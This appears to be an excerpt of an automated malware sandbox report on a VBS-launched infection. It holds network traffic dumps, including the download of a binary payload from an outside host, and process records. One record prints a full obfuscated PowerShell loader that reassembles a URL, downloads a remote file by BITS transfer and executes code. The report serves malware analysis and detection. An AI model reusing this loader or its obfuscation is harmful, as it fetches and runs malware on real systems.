2024-12-19 11:37:36 UTC	16384	IN	Data Raw: 7a 56 47 34 77 4d 6b 45 75 57 56 34 59 2f 44 42 48 2f 48 48 48 59 5a 4e 61 41 42 65 39 79 4b 63 7a 7a 37 6d 4d 54 76 77 30 46 61 70 78 77 7a 50 46 57 67 52 46 36 38 69 6a 59 5a 6d 35 74 4e 77 41 4e 79 58 6c 44 4b 4b 30 30 44 55 2f 2b 30 2b 62 47 75 61 77 69 46 49 64 52 45 43 6c 64 65 64 43 31 4a 53 2b 36 63 6c 33 73 50 7a 74 39 50 32 31 46 4e 53 51 38 74 46 67 4f 79 4c 35 34 78 43 43 6c 4c 2f 4f 43 6f 41 30 2f 62 55 55 31 4a 44 33 5a 50 58 4d 6f 36 49 45 62 79 48 6a 46 4e 44 43 69 65 6e 4a 59 2b 43 45 59 51 4a 32 42 42 6d 62 39 4e 35 39 35 62 69 53 38 49 35 2f 30 38 35 33 4e 61 49 77 69 46 79 30 46 6e 38 31 71 53 45 6a 33 68 51 51 77 71 6b 4c 6a 47 34 30 2b 64 70 43 46 4a 53 6d 49 73 35 62 73 4b 2f 65 46 42 44 43 71 71 73 51 75 58 54 31 32 6b 49 55 6c 4a Data Ascii: zVG4wMkEuWV4Y/DBH/HHHYZNaABe9yKczz7mMTvw0FapxwzPFWgRF68ijYZm5tNwANyXlDKK00DU/+0+bGuawiFIdRECldedC1JS+6cl3sPzt9P21FNSQ8tFgOyL54xCClL/OCoA0/bUU1JD3ZPXMo6IEbyHjFNDCienJY+CEYQJ2BBmb9N595biS8I5/0853NaIwiFy0Fn81qSEj3hQQwqkLjG40+dpCFJSmIs5bsK/eFBDCqqsQuXT12kIUlJ
2024-12-19 11:37:36 UTC	16384	IN	Data Raw: 49 62 4e 53 51 77 58 57 46 50 50 31 72 64 4e 7a 47 55 71 77 58 34 74 69 49 64 47 70 5a 44 52 36 79 57 71 61 77 69 49 5a 6a 42 4d 72 61 71 79 45 6a 36 6c 54 51 77 72 77 4e 4d 77 50 61 72 58 47 77 74 50 6e 75 41 74 53 55 6b 79 37 53 41 7a 47 30 4e 50 6e 75 41 74 53 55 72 35 65 44 47 45 6c 4d 34 6a 54 76 4a 31 47 6c 6c 4b 4c 2f 36 6c 43 43 6c 49 66 77 4d 45 36 31 34 49 7a 6d 52 4b 38 68 36 6c 54 51 77 6f 6e 70 53 57 4c 71 45 31 31 53 71 57 51 46 47 31 31 43 59 51 4b 37 4c 76 56 54 64 4e 53 6c 32 76 37 72 38 49 36 45 77 30 68 31 6a 52 72 69 34 74 69 6c 70 67 62 53 39 4f 38 76 64 74 73 56 75 46 36 4c 48 5a 44 71 77 39 51 71 68 33 68 58 59 2f 2f 63 4d 37 31 59 4f 69 4d 6f 58 51 73 64 6b 4f 72 44 31 43 71 48 65 46 64 6a 2f 39 77 7a 76 56 67 36 49 79 68 64 4e 76 Data Ascii: IbNSQwXWFPP1rdNzGUqwX4tiIdGpZDR6yWqawiIZjBMraqyEj6lTQwrwNMwParXGwtPnuAtSUky7SAzG0NPnuAtSUr5eDGElM4jTvJ1GllKL/6lCClIfwME614IzmRK8h6lTQwonpSWLqE11SqWQFG11CYQK7LvVTdNSl2v7r8I6Ew0h1jRri4tilpgbS9O8vdtsVuF6LHZDqw9Qqh3hXY//cM71YOiMoXQsdkOrD1CqHeFdj/9wzvVg6IyhdNv
2024-12-19 11:37:36 UTC	16384	IN	Data Raw: 37 74 57 44 76 5a 6a 4d 48 78 42 5a 59 2b 31 48 2f 58 78 2b 47 6f 74 57 64 70 74 39 2b 54 5a 4d 43 30 52 32 51 77 70 53 55 6b 4d 4b 55 6c 4a 44 43 6c 4a 53 51 38 69 53 67 4b 4e 31 2b 62 35 5a 70 56 55 72 30 56 75 33 70 53 6d 4c 66 6e 62 78 57 56 56 46 45 72 4f 5a 31 4f 2f 33 30 37 74 63 41 38 32 64 77 76 75 4c 78 71 79 7a 30 35 4e 6d 73 7a 4d 2f 77 76 76 49 38 51 63 50 42 4d 37 4b 37 46 74 63 33 6f 36 44 49 6b 78 47 56 6f 64 33 47 34 38 6d 77 73 51 2b 57 66 47 65 69 32 47 45 31 4f 64 6e 47 62 55 32 4f 53 7a 58 58 56 71 53 6a 47 42 4c 51 31 4d 72 31 70 4e 55 61 34 45 61 69 33 35 32 66 46 4b 79 69 49 2f 5a 55 44 65 41 4e 4d 46 74 45 74 66 32 35 75 4c 54 6b 34 42 39 7a 43 39 65 59 6a 4a 54 42 34 32 4b 67 53 48 6d 38 39 38 46 5a 66 4c 71 45 65 79 44 33 39 46 Data Ascii: 7tWDvZjMHxBZY+1H/Xx+GotWdpt9+TZMC0R2QwpSUkMKUlJDClJSQ8iSgKN1+b5ZpVUr0Vu3pSmLfnbxWVVFErOZ1O/307tcA82dwvuLxqyz05NmszM/wvvI8QcPBM7K7Ftc3o6DIkxGVod3G48mwsQ+WfGei2GE1OdnGbU2OSzXXVqSjGBLQ1Mr1pNUa4Eai352fFKyiI/ZUDeANMFtEtf25uLTk4B9zC9eYjJTB42KgSHm898FZfLqEeyD39F
2024-12-19 11:37:36 UTC	16384	IN	Data Raw: 43 6c 4a 53 51 77 70 53 55 6b 50 30 78 2b 77 4e 63 42 6f 58 55 51 58 6d 62 37 33 6a 31 6b 74 41 43 70 35 56 48 64 4a 32 38 71 71 6a 71 4f 45 6e 71 38 43 74 77 79 4c 5a 6c 39 48 64 51 6c 4c 34 65 31 2b 4f 6c 4e 55 73 55 73 38 50 6c 30 35 74 57 74 54 61 73 41 57 56 59 55 4d 4b 55 6c 4a 44 43 6c 4a 53 51 77 70 53 55 6b 50 33 62 58 78 4f 44 35 4c 65 7a 6a 69 52 31 78 55 77 43 41 58 38 70 6b 4e 76 77 49 75 39 50 43 75 78 6f 64 4f 30 4e 50 72 54 7a 46 6a 4f 32 36 45 4c 61 4d 2f 47 38 69 64 7a 68 49 69 77 4a 46 68 74 56 41 50 69 35 37 75 65 62 34 31 32 6c 39 52 58 57 42 51 30 6f 5a 53 72 36 49 41 31 6f 51 67 6c 6d 6d 53 76 7a 77 59 64 77 2f 46 62 43 43 57 50 69 77 32 50 61 72 63 50 76 6c 5a 42 49 55 34 35 54 43 68 5a 35 66 72 2f 46 4d 72 63 6f 47 74 53 4b 74 58 Data Ascii: ClJSQwpSUkP0x+wNcBoXUQXmb73j1ktACp5VHdJ28qqjqOEnq8CtwyLZl9HdQlL4e1+OlNUsUs8Pl05tWtTasAWVYUMKUlJDClJSQwpSUkP3bXxOD5LezjiR1xUwCAX8pkNvwIu9PCuxodO0NPrTzFjO26ELaM/G8idzhIiwJFhtVAPi57ueb412l9RXWBQ0oZSr6IA1oQglmmSvzwYdw/FbCCWPiw2ParcPvlZBIU45TChZ5fr/FMrcoGtSKtX
2024-12-19 11:37:36 UTC	16384	IN	Data Raw: 64 2b 45 46 2f 46 4f 63 4d 62 43 4c 70 52 4b 4a 44 69 48 54 68 47 37 73 67 53 53 4c 6c 63 39 7a 6e 47 2f 54 72 42 43 67 67 6d 5a 62 7a 74 75 69 41 32 76 50 78 73 30 70 57 51 33 68 63 6a 55 41 69 63 46 69 49 30 6a 77 79 4a 44 30 4d 35 54 67 51 4e 6f 4e 4d 4e 30 4f 39 76 5a 44 63 6d 37 4a 46 63 47 36 72 44 71 51 61 70 4a 54 2b 35 6d 6c 47 31 34 4e 77 69 56 6e 75 56 79 67 58 5a 56 39 49 6c 4a 53 51 77 70 53 55 6b 4d 4b 55 6c 4a 44 43 6c 4b 5a 49 33 47 35 75 48 44 53 70 68 52 4e 30 4b 36 63 47 6a 73 65 70 67 49 4f 59 6d 6c 64 62 70 35 4a 49 6c 79 44 6f 32 6c 6b 6d 32 46 4e 7a 51 62 38 36 55 57 33 67 38 68 56 2b 4d 77 2b 49 45 2f 39 56 36 6d 59 55 69 6a 66 32 78 4c 57 6c 77 77 77 59 70 79 68 2b 57 78 4a 72 61 35 6c 32 33 6f 2f 68 45 31 57 69 42 75 6f 59 74 4d Data Ascii: d+EF/FOcMbCLpRKJDiHThG7sgSSLlc9znG/TrBCggmZbztuiA2vPxs0pWQ3hcjUAicFiI0jwyJD0M5TgQNoNMN0O9vZDcm7JFcG6rDqQapJT+5mlG14NwiVnuVygXZV9IlJSQwpSUkMKUlJDClKZI3G5uHDSphRN0K6cGjsepgIOYmldbp5JIlyDo2lkm2FNzQb86UW3g8hV+Mw+IE/9V6mYUijf2xLWlwwwYpyh+WxJra5l23o/hE1WiBuoYtM
2024-12-19 11:37:36 UTC	16384	IN	Data Raw: 4d 42 45 6e 57 48 49 63 37 59 6e 75 52 44 46 6e 34 76 64 2b 51 4a 38 6b 49 32 54 62 53 32 67 6a 70 4c 32 33 41 6a 76 70 4f 52 75 4a 30 65 70 44 43 6c 4a 46 6a 78 41 38 7a 46 34 65 69 6e 2f 73 57 55 69 67 37 30 57 65 6b 4b 7a 4e 6a 31 63 43 53 52 6d 35 39 49 66 6d 44 79 44 4e 52 61 30 38 53 77 65 55 6a 7a 38 51 71 54 41 38 79 69 6c 72 53 58 68 6a 56 73 30 53 36 2f 76 30 62 52 6a 57 67 39 37 2b 4f 76 31 66 33 54 79 4a 30 65 70 44 43 6c 4a 57 54 41 74 43 77 55 4d 4b 55 6c 4a 44 43 6c 4a 53 51 77 70 53 55 6b 50 4c 46 49 62 78 70 35 6e 78 58 41 4b 41 6e 4e 6f 49 78 4f 74 4f 4f 6c 32 56 63 67 4a 53 55 6b 4d 4b 55 6c 4a 44 43 6c 4a 53 51 77 70 53 68 6a 6d 2f 78 62 41 56 4e 65 41 2b 6d 45 2f 58 75 77 2f 64 51 55 73 76 52 32 77 53 4e 53 65 53 63 42 68 65 4a 78 46 Data Ascii: MBEnWHIc7YnuRDFn4vd+QJ8kI2TbS2gjpL23AjvpORuJ0epDClJFjxA8zF4ein/sWUig70WekKzNj1cCSRm59IfmDyDNRa08SweUjz8QqTA8yilrSXhjVs0S6/v0bRjWg97+Ov1f3TyJ0epDClJWTAtCwUMKUlJDClJSQwpSUkPLFIbxp5nxXAKAnNoIxOtOOl2VcgJSUkMKUlJDClJSQwpShjm/xbAVNeA+mE/Xuw/dQUsvR2wSNSeScBheJxF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49781	103.120.177.150	443	6344	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 11:38:03 UTC	181	OUT	GET /ms/ms.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: www.royalengineeringllc.com Cache-Control: no-cache
2024-12-19 11:38:03 UTC	223	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 11:38:01 GMT Server: Apache Last-Modified: Thu, 25 Jan 2024 11:51:24 GMT Accept-Ranges: bytes Content-Length: 585792 Connection: close Content-Type: application/octet-stream
2024-12-19 11:38:03 UTC	7969	IN	Data Raw: ce 01 2f ff e2 e6 32 e2 80 ba 1e f1 64 76 d6 e1 39 82 cd 6c 01 44 c8 d6 f4 73 2f 51 24 0c c5 a9 67 0d 83 fa e2 c5 50 2a 4d 5e 89 78 8b 98 d6 c6 d1 f0 b1 b3 5a a5 e3 43 08 f5 e8 5a de 5c 6e ae 9c bb c3 14 35 12 c7 67 a1 95 db e6 95 21 df f7 ac 21 39 8f 16 ad af 09 74 71 46 41 7c d3 e5 4d ee fe 67 ca 30 57 75 ed 3b 37 82 02 cd 1d fd 41 df 10 af ae 99 59 7e 2f 2f a9 d3 b8 fe 77 9c 26 c2 99 8f 17 cd a6 e1 ac ad 34 dc a7 0d 41 c6 20 87 89 fc 58 42 d9 7d 4c 73 9c d0 ba 9b 05 65 d7 a4 6a a8 37 74 5a d9 87 ec fe 8b 14 51 5f f4 9d ce 77 bd 8f b5 1a 47 5a 45 ce 97 77 6c 85 5b a3 c2 c6 98 0b ae 47 42 df d1 86 5c 5f 3a 2b 0a 3e fe 82 b1 07 98 4b 8e 7e 8b d5 ba a2 18 a0 0e 0a 14 c7 77 e5 ec 6c b4 92 8b 57 cd 14 18 b4 0a 6a 9d 76 cb 20 0e 5f 08 dc 2d d4 bf fa 0f af 33 Data Ascii: /2dv9lDs/Q$gP*M^xZCZ\n5g!!9tqFA\|Mg0Wu;7AY~//w&4A XB}Lsej7tZQ_wGZEwl[GB\_:+>K~wlWjv _-3
2024-12-19 11:38:03 UTC	8000	IN	Data Raw: aa 7e a6 60 ca bf 57 0d be 7b 58 d3 10 19 ef 8f 2a 05 40 8d 0f d0 ae 4b 89 8a 5f 6c 51 41 a7 8b a4 ca 63 31 8b b3 f4 ed b3 8b 8f bb 52 b6 16 ba e1 f7 b8 c4 32 77 10 24 45 ab 94 3e d6 c4 d4 77 38 eb a7 58 40 07 98 85 48 0c ce ee ee b4 2f 69 7a e6 f7 97 eb 2b 36 fd 3e 64 44 6a 30 39 f2 cb 37 07 8e 25 da 54 ac 80 0d 32 f3 48 99 df 8f df 4b 61 08 6f dc 6d f4 60 cf 2b 7d 45 a2 4c 61 79 b6 e2 42 73 ea 8e 39 1a bd c2 cc 00 65 72 7e 3f 7c 00 41 be dd e3 4d 7d aa 5a ff 1f e5 8d 3c 92 03 e6 7a 7d e1 80 42 71 7f 1d 81 18 af 70 4d 68 b2 fd a8 dd df 11 c2 6a 48 fc d9 e9 0a b9 25 50 64 b8 b8 4e 82 6c 6c 4b 2d bd 2c 4a 04 3d 97 47 a0 03 a8 84 de 75 a4 54 e5 da 5d 10 b8 e8 10 08 5b d5 dc 02 4c b0 2d dd d1 6d a5 81 81 36 f9 31 b1 df 1d 6c 45 19 f5 98 5e 1c f4 8b e9 c5 be Data Ascii: ~`W{X*@K_lQAc1R2w$E>w8X@H/iz+6>dDj097%T2HKaom`+}ELayBs9er~?\|AM}Z<z}BqpMhjH%PdNllK-,J=GuT][L-m61lE^
2024-12-19 11:38:03 UTC	8000	IN	Data Raw: ed 1d ab 71 06 1e f4 9d ff fb 8f 7b aa 84 32 c2 68 61 c5 71 ab f6 24 cf ee 63 ee a7 0b fe a3 7c 75 b7 17 19 0e ab 5a 1e a0 64 ab ab 1a 8d ff 86 4c 9c b3 dd 3b 35 a1 95 47 f1 ec 25 3a 44 6a ba 10 a3 a5 6f fb 8a 34 b3 0d 28 1d a0 3d 51 23 1e 6c e0 ac 9a b7 a9 db df 21 59 db f8 d8 b4 63 ec 63 74 10 7f b6 1b 8d 91 06 82 54 06 6e be ca 2e 93 ca 3c a1 6a f5 48 05 4a 1d 66 a9 87 75 b2 8c bd a3 21 80 2b c9 ca ff 79 99 0d c3 8d 64 48 cf 5f 6e d4 fb 2c 9a a6 c0 8b bf 2e d2 03 61 0d 96 df eb 7c 48 b3 b6 7e 16 76 2c 87 44 e1 99 05 d8 0c 81 f3 c3 76 57 cb ab 9c 4f db 43 03 b3 b0 3c 7b 73 33 6b 47 70 4a 08 0e 92 c2 3c 25 78 e7 a6 5f 0a f7 7a 6c d7 cc 65 96 bc 87 b9 24 f6 b1 ac 4d c8 c7 e3 d5 56 c0 85 23 1e 3d 46 2b fa d6 18 ac 07 cc d7 a7 21 cf a2 e5 d5 69 ae dd 1f 7c Data Ascii: q{2haq$c\|uZdL;5G%:Djo4(=Q#l!YcctTn.<jHJfu!+ydH_n,.a\|H~v,DvWOC<{s3kGpJ<%x_zle$MV#=F+!i\|
2024-12-19 11:38:03 UTC	8000	IN	Data Raw: 2b 2f 4a 1d f1 06 10 9a ef e0 8f 9c 50 d3 1f 46 32 e2 2e 89 8d ea 34 f8 3f d2 7f f5 0e 74 bb 89 05 cb 7e 54 fe 7c c5 44 9f 5a b5 0a 82 bf fe 0e f4 4c e0 98 16 c3 8b 18 25 9a c5 7a 16 22 f7 7b c3 a8 ff 39 70 2d b6 1d fb af 5b 88 5b f4 8f a2 52 eb 20 f6 b6 79 78 76 6f 24 d3 73 42 17 1f ae ce 99 de be e3 5b 9e db 3f e9 1a a0 fc 66 44 f5 d5 86 47 74 6b fa d6 7e 75 0a 55 5b f8 c3 15 4a cc fc 8e 7c 18 e8 a1 7c cd 70 9e 29 a1 27 76 6e 72 b9 b8 21 55 03 08 a3 36 5b b0 cf 37 a6 f4 70 48 98 53 48 e9 91 24 29 8e 7a e1 5c cf 2c 0a 10 cb 30 1c 39 f2 8b 96 ee 3a cb a1 75 71 4a 68 18 26 85 78 b3 b4 32 f7 22 5c 80 98 c3 36 39 62 ac 96 4e 8f 3a ee 34 14 ab 66 e2 06 fa d3 58 24 23 4c 9f bf ce 59 46 16 5b 4b 01 00 2e 2c af 38 93 b3 fa df d7 33 38 38 b7 8f 21 46 f5 ef 35 8f Data Ascii: +/JPF2.4?t~T\|DZL%z"{9p-[[R yxvo$sB[?fDGtk~uU[J\|\|p)'vnr!U6[7pHSH$)z\,09:uqJh&x2"\69bN:4fX$#LYF[K.,8388!F5
2024-12-19 11:38:03 UTC	8000	IN	Data Raw: 08 25 a1 7f e6 aa ce 3c 5d 44 8b 23 84 2c b0 70 b6 d4 25 b6 5d ec b3 35 e9 49 aa 77 8c 57 c2 1f ab 6e 26 f5 5e 8a fb 74 94 54 4c 5d 66 b3 4b 68 75 4b 0b 61 51 13 1c 71 c3 be c8 a8 91 5e 0e 35 45 0e 94 7f 7d 9a 48 49 f7 53 2a ef 79 dd 3f 2b da 67 e3 a3 64 17 62 55 29 89 6a ec ee b1 d3 a8 45 32 e8 d4 bf b8 ee ee e8 ee d1 bf b0 b1 ce b7 50 fe 22 06 d4 cc 61 72 21 6e f8 02 26 4e 09 2b 29 a9 08 8b 10 de 39 c8 23 c2 89 76 e4 93 28 f2 68 a1 cb 42 60 38 3f b4 90 85 31 00 6b 63 42 c3 ca 0f 13 11 aa 49 91 1c 18 27 2f 38 f0 8e 33 f8 c4 6f da c1 44 6a b8 00 9a 0e f9 d7 5d b5 bd b6 a8 14 31 e5 0b d8 51 be 85 97 04 35 26 c0 f7 65 e0 ea 4d 93 8f 22 a7 d0 a4 db e6 62 c1 9d 60 c8 2e c5 be bb f0 2b a5 2b fa db a4 9a 66 01 f5 70 70 81 76 0d fa 93 4e f1 0a 94 59 3f 49 96 e4 Data Ascii: %<]D#,p%]5IwWn&^tTL]fKhuKaQq^5E}HIS*y?+gdbU)jE2P"ar!n&N+)9#v(hB`8?1kcBI'/83oDj]1Q5&eM"b`.++fppvNY?I
2024-12-19 11:38:04 UTC	8000	IN	Data Raw: 80 fd 7e 2d ff e4 36 3a 00 74 57 63 ea 3e cf d5 56 f1 48 32 5d b6 63 ed 62 37 bb d0 a0 6c ae 31 3a 1d 31 ae da 51 2c 9c e5 8a e2 12 95 65 5c bc 38 0d 5b 7a c9 39 6c c2 e6 1b 56 e3 59 58 87 f1 2f 42 c4 f6 66 a8 c9 5d d7 c0 fc 49 10 53 2b e6 49 21 2f b2 39 05 91 5c 9f a0 44 d8 9d ce 1d ac 0d 76 9c 84 d5 44 b8 e5 b5 c4 e5 39 12 0f bc b0 c7 af c2 f3 d2 dd 8d 8c 8b 1c 71 52 21 bb e4 69 1b a1 7f e0 0a 08 f5 5c 34 91 67 44 c0 ba 32 75 10 e2 08 ff 21 be f3 d5 a9 bf 2d 15 24 42 10 68 09 a6 c2 87 5b e8 d3 51 d3 49 ac 19 fb 4d 6d 36 30 19 de d3 2e de b4 7c 5b ce ed f5 e8 e1 af d4 41 51 f5 19 1e 8a 8a 6e 53 6e 2a 4a 15 ab 2a 77 82 e5 e0 00 c8 d0 cf 6c 99 af 66 2a 5b 52 c2 c4 35 ee 23 76 a2 cd 8b e4 8c 27 fe 4f 2e 34 d2 5c d9 e7 4e 36 94 15 f3 26 2d 3c 10 a7 d4 88 8c Data Ascii: ~-6:tWc>VH2]cb7l1:1Q,e\8[z9lVYX/Bf]IS+I!/9\DvD9qR!i\4gD2u!-$Bh[QIMm60.\|[AQnSnJwlf*[R5#v'O.4\N6&-<
2024-12-19 11:38:04 UTC	8000	IN	Data Raw: 45 90 9e 41 d4 03 e5 6d 35 03 64 39 5b cb 82 b4 57 24 ef 84 93 7f 6d b2 ab 1e bb 77 1f 91 e1 64 85 cd 2c 0e fb a8 82 f8 23 3c 85 6d 17 f2 34 88 ab f2 80 56 d8 82 72 07 81 a9 d4 f6 c5 96 5a 99 db 2e ae 51 7a 9d 61 95 ac 16 54 97 16 b9 8c 20 3b 9e e3 fd 5a f3 7a 25 21 ce ea b4 f4 9a 68 1f 1d a5 ce b7 86 b8 dc 63 ec 33 ce 43 98 a9 32 88 a0 e8 48 31 da 0e b0 41 dd 73 2a d1 39 ee 3b 4f 72 1b a4 1b 64 02 5f b9 66 de 31 d0 ad 83 c3 f5 36 09 30 63 89 30 a5 34 d5 ea 5b fc cb 7f b8 7d f7 47 ea 23 82 04 32 9b 8d 24 13 3a 33 02 db 8b 28 82 d7 0e dc 62 2f 4d 3e 77 26 c8 62 4f b7 f5 28 c4 73 40 62 73 5e 71 67 29 c0 82 73 0e a7 b0 e8 95 6d 55 d0 e6 b6 49 2f 31 8e 8e 5f bd 6a 57 81 5e ae 83 89 10 e4 f0 f7 d7 89 5f 08 ba e7 19 ed 0e 57 74 5a 7d e7 58 d8 fe 36 1c a0 65 c2 Data Ascii: EAm5d9[W$mwd,#<m4VrZ.QzaT ;Zz%!hc3C2H1As*9;Ord_f160c04[}G#2$:3(b/M>w&bO(s@bs^qg)smUI/1_jW^_WtZ}X6e
2024-12-19 11:38:04 UTC	8000	IN	Data Raw: a2 e7 e7 23 cf e0 00 f0 fb 3d f4 54 3f 9e 14 18 7b 09 47 01 c2 95 05 1a ae 29 46 85 98 ab db 3a f2 46 53 1a 54 8f 99 9e a1 d0 a7 01 ec e5 45 84 24 10 7c be 12 02 10 36 e3 10 a1 47 70 81 62 39 65 f4 3e ea dd a2 e5 20 49 ec bd 9c cd e1 05 fc 68 85 04 e6 d3 d3 7f 4b c1 9a 94 94 04 a5 77 3b 7f 05 51 19 67 0e 41 b2 81 ad 7c 24 2d af f0 68 55 29 a0 b0 f0 5f 81 62 b4 d5 b3 bd 8e 5f e5 48 d5 5e ff 11 cc b2 0c 37 79 f7 7d 9e f8 ed 4b 55 e6 bf 56 42 fe bd 11 ee de b1 f7 15 55 86 5d 87 d6 fd 4a 3b 87 e8 bc e3 b3 48 ef 0b f3 39 ef a2 f0 84 1a 5a 07 91 af 05 18 e4 12 2b c0 d8 8c dc 26 69 98 14 55 69 f2 be 14 a0 4f 94 29 8d 2c fd 6b e7 2b 71 ff 2c e7 e4 a9 0f b2 f1 e3 ed 98 ed 49 93 b5 d7 dd d0 e5 ef 3a 59 c6 ae 3b d7 8e e5 8c 47 eb 20 57 31 46 9e b6 d5 18 76 f9 d1 18 Data Ascii: #=T?{G)F:FSTE$\|6Gpb9e> IhKw;QgA\|$-hU)_b_H^7y}KUVBU]J;H9Z+&iUiO),k+q,I:Y;G W1Fv
2024-12-19 11:38:04 UTC	8000	IN	Data Raw: d2 e7 12 1d 5a 3f 2c 69 5a fc 32 67 15 52 e8 96 be 4d e9 02 6b 9b 8e f1 f7 66 5b 60 92 48 ee fb a8 0c 20 3d 5e 1a 1a 7a 8c fd ea f2 fc 47 59 0e ee 5a 55 5c 88 e1 cd e3 c1 24 9e 54 83 ad 20 e0 db 96 47 16 3e 74 71 45 c3 53 7c 43 5a 4f 7f f4 2b d6 92 de ad d4 88 16 b1 dc f3 ff 27 f9 c8 0d 58 a6 0b 9f a3 b9 51 59 59 5f 0c 74 23 cd 83 8e cf 71 0a c9 c8 31 b0 4e 78 07 1d 60 27 ab 64 60 24 fc c6 c9 e6 7f f2 41 0f b0 93 fb 11 d0 89 9f ba 05 c2 a6 94 40 29 fe da 0b 22 5d 2c 2b 19 23 44 9f 7f 58 a8 5c 86 7a d8 e5 c2 88 e4 05 e9 20 e7 38 7e c5 cf 79 1e 71 af c0 c0 77 82 b6 fd ef 7e d9 d1 95 05 20 e7 6f d4 97 de 0e 24 c2 1e f7 a2 d0 b8 d3 d3 3a 7e b2 4a 14 9b c6 82 b2 70 fe 13 cc fc 61 08 16 f2 15 ac 61 14 69 2f f0 f5 50 eb 63 a2 d5 9d 42 fc b4 d5 b3 1d 48 29 d7 5f Data Ascii: Z?,iZ2gRMkf[`H =^zGYZU\$T G>tqES\|CZO+'XQYY_t#q1Nx`'d`$A@)"],+#DX\z 8~yqw~ o$:~Jpaai/PcBH)_
2024-12-19 11:38:04 UTC	8000	IN	Data Raw: 8b 97 b1 71 32 55 bc 40 42 77 57 e1 06 ea 53 e9 ee f2 2d e3 0b 8c f9 37 1e 40 f1 bf f8 05 69 39 2b 69 37 c7 99 d2 e1 83 77 0e e6 a6 68 2d d8 2c b6 79 a4 8a e7 a7 c0 fa b2 80 9b 14 b5 df 4a 2b cc 20 dc d1 7a 08 9f fd 1b b4 08 33 27 d1 e1 53 14 36 12 c7 67 a5 95 db e6 6a de df f7 14 21 39 8f 16 ad af 09 34 71 46 41 7c d3 e5 4d ee fe 67 ca 30 57 75 ed 3b 37 82 02 cd 1d fd 41 df 10 af ae 99 59 7e 2f 2f a9 d3 b8 16 77 9c 26 cc 86 35 19 cd 12 e8 61 8c 8c dd eb c0 60 92 48 ee fa dc 28 30 b6 1a 3e 12 f1 f0 d9 fa 6b 0b b8 d0 4a ca 52 54 28 ac e9 cc 97 e5 34 15 10 a7 bd a3 18 d9 ea 9b 17 4a 50 61 ce 97 77 6c 85 5b a3 b9 f0 1a 9d 91 10 ae 1a ee d1 b0 9a 05 7c e6 fb ae ca 59 c2 a5 1c 62 bb 37 9e 58 67 24 f7 e2 cf 44 8f 91 20 d8 3b 58 57 77 0f 7c d1 2c e3 e6 af a2 21 Data Ascii: q2U@BwWS-7@i9+i7wh-,yJ+ z3'S6gj!94qFA\|Mg0Wu;7AY~//w&5a`H(0>kJRT(4JPawl[\|Yb7Xg$D ;XWw\|,!

Target ID:	1
Start time:	06:37:23
Start date:	19/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\tmkSAOF3GM.vbs"
Imagebase:	0x7ff762530000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:37:23
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI 